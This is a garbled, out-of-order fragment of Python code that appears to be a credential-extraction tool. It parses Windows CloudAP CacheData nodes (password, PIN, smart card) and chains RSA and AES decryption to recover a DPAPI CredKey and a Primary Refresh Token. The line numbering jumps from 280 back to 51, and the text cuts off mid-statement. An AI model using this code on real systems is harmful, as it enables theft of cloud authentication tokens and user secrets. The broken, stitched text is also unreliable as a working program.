//CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9 261 | # [+] Provider : Microsoft Software Key Storage Provider 262 | # [+] Key Name : {1EB9AF77-CC62-4C28-A173-19267DD63045} 263 | 264 | # RSA Decrypt #1 265 | print("[+] RSA decrypt encrypted AES key 1") 266 | decryptedAESKey1 = rsa_decrypt(rsa_priv_key_obj, rsa_pub_key, ngc_asym_key_blob.encryptedAESKey1) 267 | 268 | # AES Decrypt #1 269 | print("[+] AES decrypt encrypted AES key 2") 270 | decryptedAESkey2 = decrypt_encrypted_AESKey2( 271 | ngc_asym_key_blob.encryptedAESKey2, decryptedAESKey1, ngc_asym_key_blob.IV 272 | ) 273 | # AES-256 bit key size 274 | decryptedAESkey2 = decryptedAESkey2[:0x20] # skip padding 275 | 276 | print(f"[+] AES decrypt encrypted blob of size 0x{len(cache_data_node_pin.encryptedPRTBlob):x} (DPAPI CredKey + PRT)") 277 | # AES Decrypt #2 278 | decrypted_blob = aes_decrypt(cache_data_node_pin.encryptedPRTBlob, decryptedAESkey2, scard_blob.ScardIV) 279 | # From cloudAP!UnlockCloudAPCacheNodeData 280 | version, flags, dword3, raw_dpapi_cred_key_size = struct.unpack(" int: 51 | return self._header.dwNodeType 52 | 53 | def is_node_type_password(self) -> bool: 54 | return self.get_node_type() == CacheNodeType.PASSWORD 55 | 56 | def is_node_type_pin(self) -> bool: 57 | return self.get_node_type() == CacheNodeType.PIN_NGC 58 | 59 | def is_node_type_scard(self) -> bool: 60 | return self.get_node_type() == CacheNodeType.SCARD 61 | 62 | def parse_cache_data(file_path) -> List[CacheDataNode]: 63 | cache_data_node_list : List[CacheDataNode] = list() 64 | print(f'[+] Parsing CacheData file {file_path}') 65 | with open(file_path, "rb") as f: 66 | file_size = f.seek(0, os.SEEK_END) 67 | f.seek(0, os.SEEK_SET) 68 | # First 4 byte is a version number 69 | (version,) = struct.unpack("